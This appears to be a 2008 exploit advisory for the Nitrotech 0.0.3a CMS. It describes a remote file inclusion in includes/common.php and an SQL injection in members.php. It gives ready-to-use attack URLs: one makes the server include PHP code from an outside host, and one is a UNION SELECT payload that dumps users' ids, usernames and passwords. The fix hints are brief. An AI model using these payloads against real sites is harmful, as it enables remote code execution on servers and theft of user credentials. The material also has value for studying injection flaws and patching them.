Name: Nitrotech 0.0.3a Multiple Remote Vulnerabilities
Download: http://sourceforge.net/project/downloading.php?groupname=nitrotech&filename=nitrotech_003a.zip&use_mirror=garr
Author: Osirys, thanks to x0r
Contact: osirys@live.it
Nitrotech cms is vulnerable to multiple vulnerabilities, like remote file inclusion and sql injection.
#### Remote File Inclusion Vulnerability
The first bug, the remote file inclusion, is caused becouse of an include of a non declarated variable.
Let's see the code.
File: /[path]/includes/common.php
[code]
<?php
session_start();
$SID = session_id();
include($root . "config.php");
# OTHER CODE
[/code]
## EXPLOIT:
http://localhost/[path]/includes/common.php?root=http://oursite.it/phpcode.txt??
##
As we can see, it's included a non declareted variable -> $root.
To fix this bug, we could just define this variable.
#### Sql Injection Vulnerability
Note: In the source there could be other sql injection, just found them by yourself if you are intersted !
This vulnerability is caused becouse of a direct use in a query of a get variable. To avoid this vulnerability
we could filtered the variable, for example with an int().
File: /[path]/members.php
[code]
if($page_mode == 'view_user')
{
$query1 = "SELECT * FROM " . $table['users'] . " WHERE id = '" . $_GET['id'] . "'";
$result1 = mysql_query($query1);
# OTHER CODE
[/code]
## EXPLOIT:
http://localhost/[path]/members.php?id=' union all select 1,concat_ws(0x3a3a,id,username,0x3a3a,password),3,4,5,6,7,8,9,10,11,12 from nitrotech_users/*&mode=view_user&
##
As we can see, The 'id' variable comes directly from get. So we can inject our hell code.
####
# milw0rm.com [2008-11-24]
